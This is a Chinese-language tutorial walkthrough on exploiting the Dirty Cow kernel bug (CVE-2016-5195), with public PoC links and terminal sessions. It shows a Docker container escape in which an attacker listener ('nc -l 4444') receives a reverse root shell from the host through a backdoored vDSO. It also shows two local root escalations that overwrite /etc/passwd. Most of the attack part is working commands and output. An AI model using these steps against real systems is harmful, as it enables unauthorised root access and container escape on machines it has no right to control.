描述

Dirty Cow(CVE-2016-5195)是Linux内核中的权限提升漏洞,源于Linux内核的内存子系统在处理写入时拷贝(copy-on-write, Cow)存在竞争条件(race condition),允许恶意用户提权获取其他只读内存映射的写访问权限。竞争条件意为任务执行顺序异常,可能导致应用崩溃或面临攻击者的代码执行威胁。利用该漏洞,攻击者可在其目标系统内提升权限,甚至获得root权限。

区别

Linux中利用Dirty Cow 和 docker中利用Dirty Cow的区别

Linux:漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。具体分析请查看官方分析。

Docker:在容器中利用VDSO内存空间中的“clock_gettime() ”函数可对脏牛漏洞发起攻击,令系统崩溃并获得root权限的shell,且浏览容器之外主机上的文件。

利用POC:

Linux:

1
2
3
4
官方POC:https://github.com/dirtycow/dirtycow.github.io
提权POC:https://github.com/FireFart/dirtycow
提权POC:https://github.com/gbonacini/CVE-2016-5195

Docker:

1
逃逸POC:https://github.com/gebl/dirtycow-docker-vdso

漏洞利用条件

docker与宿主机共享内核,如果要触发这个漏洞,需要宿主机存在dirtyCow漏洞的宿主机。(测试中发现在宿主机版本为ubuntu-14.04.5可以成功利用poc,在宿主机版本为Ubuntu 18.04.6 LTS时利用失败,提示:Segmentation fault)

The program was successfully used with:

  • RHEL7 Linux x86_64;
  • RHEL4 (4.4.7-16, with “legacy” version)
  • Debian 7 (“wheezy”);
  • Ubuntu 14.04.1 LTS
  • Ubuntu 14.04.5 LTS
  • Ubuntu 16.04.1 LTS
  • Ubuntu 16.10
  • Linux Mint 17.2

利用方式

Docker 逃逸漏洞利用过程:

查看版本:

1
2
3
4
5
6
7
8
9
10
11
12
宿主机:
root@ubuntu:~# uname -a
Linux ubuntu 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
root@ubuntu:~# uname -r
4.4.0-31-generic

容器:
root@1447b7d06488:/# uname -a
Linux 1447b7d06488 4.4.0-31-generic #50~14.04.1-Ubuntu SMP Wed Jul 13 01:07:32 UTC 2016 x86_64 x86_64 x86_64 GNU/Linux
root@1447b7d06488:/# uname -r
4.4.0-31-generic

在容器中下载利用poc,并编译

1
2
3
git clone https://github.com/gebl/dirtycow-docker-vdso.git
cd /dirtycow-vdso/
make

攻击机监听端口,容器执行poc并成功接收到宿主机的shell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
攻击机:
nc -l 4444

容 器:
root@72b3d24fadde:/dirtycow-vdso-master# make
nasm -f bin -o payload payload.s
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
cc -o 0xdeadbeef 0xdeadbeef.o -lpthread
root@72b3d24fadde:/dirtycow-vdso-master#
root@72b3d24fadde:/dirtycow-vdso-master#
root@72b3d24fadde:/dirtycow-vdso-master# ls
0xdeadbeef 0xdeadbeef.c 0xdeadbeef.o LICENSE Makefile README.md payload payload.h payload.s tools
root@72b3d24fadde:/dirtycow-vdso-master#
root@72b3d24fadde:/dirtycow-vdso-master#
root@72b3d24fadde:/dirtycow-vdso-master#
root@72b3d24fadde:/dirtycow-vdso-master#
root@72b3d24fadde:/dirtycow-vdso-master#
root@72b3d24fadde:/dirtycow-vdso-master# ./0xdeadbeef 10.0.4.68:4444
[*] payload target: 10.0.4.68:4444
[*] exploit: patch 1/2
[*] vdso successfully backdoored
[*] exploit: patch 2/2
[*] vdso successfully backdoored
[*] waiting for reverse connect shell...

成功获取宿主机的shell

Linux–脏牛提权内容

dcow 可能是对漏洞 CVE-2016-5195 的利用。在易受攻击的系统上以非特权用户身份运行该程序,它将修改 /etc/passwd 文件,在成功执行的情况下,使用该密码执行“su”,root shell 将可用。

普通用户将exp一下载到本地,使用gcc -pthread dirty.c -o dirty -lcrypt命令对dirty.c进行编译,生成一个dirty的可执行文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#查看当前用户
$ id
uid=1001(test) gid=1001(test) groups=1001(test)
$ whoami
test
#下载exp并编译
$ git clone https://github.com/FireFart/dirtycow
$ gcc -pthread dirty.c -o dirty -lcrypt
$ ls
dirty dirty.c README.md
#执行exp
$ ./dirty mypassword
/etc/passwd successfully backed up to /tmp/passwd.bak
Please enter the new password: mypassword
Complete line:
firefart:fiW.uD9O/GMV2:0:0:pwned:/root:/bin/bash

mmap: 7f169daa8000

通过su - firefart 并输入密码:mypassword,获取root权限

1
2
3
4
5
$ su - firefart   
Password:
firefart@wuala:~# id
uid=0(firefart) gid=0(root) groups=0(root)
firefart@wuala:~#

恢复方式,将/tmp/passwd.bak 恢复到/etc/passwd

1
2
3
4
5
6
firefart@wuala:~# mv /tmp/passwd.bak  /etc/passwd 
firefart@wuala:~# exit
logout
su: User not known to the underlying authentication module
$ exit
root@wuala:/tmp#

第二种方式

下载poc脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
下载脚本并编译
https://github.com/gbonacini/CVE-2016-5195

$ whoami
test
$ ./dcow -s
Running ...
Password overridden to: dirtyCowFun

Received su prompt (Password: )

root@wuala:~# echo 0 > /proc/sys/vm/dirty_writeback_centisecs
root@wuala:~# \cp /tmp/.ssh_bak /etc/passwd
root@wuala:~# \rm /tmp/.ssh_bak
root@wuala:~# whoami
root
root@wuala:~#

⬆︎TOP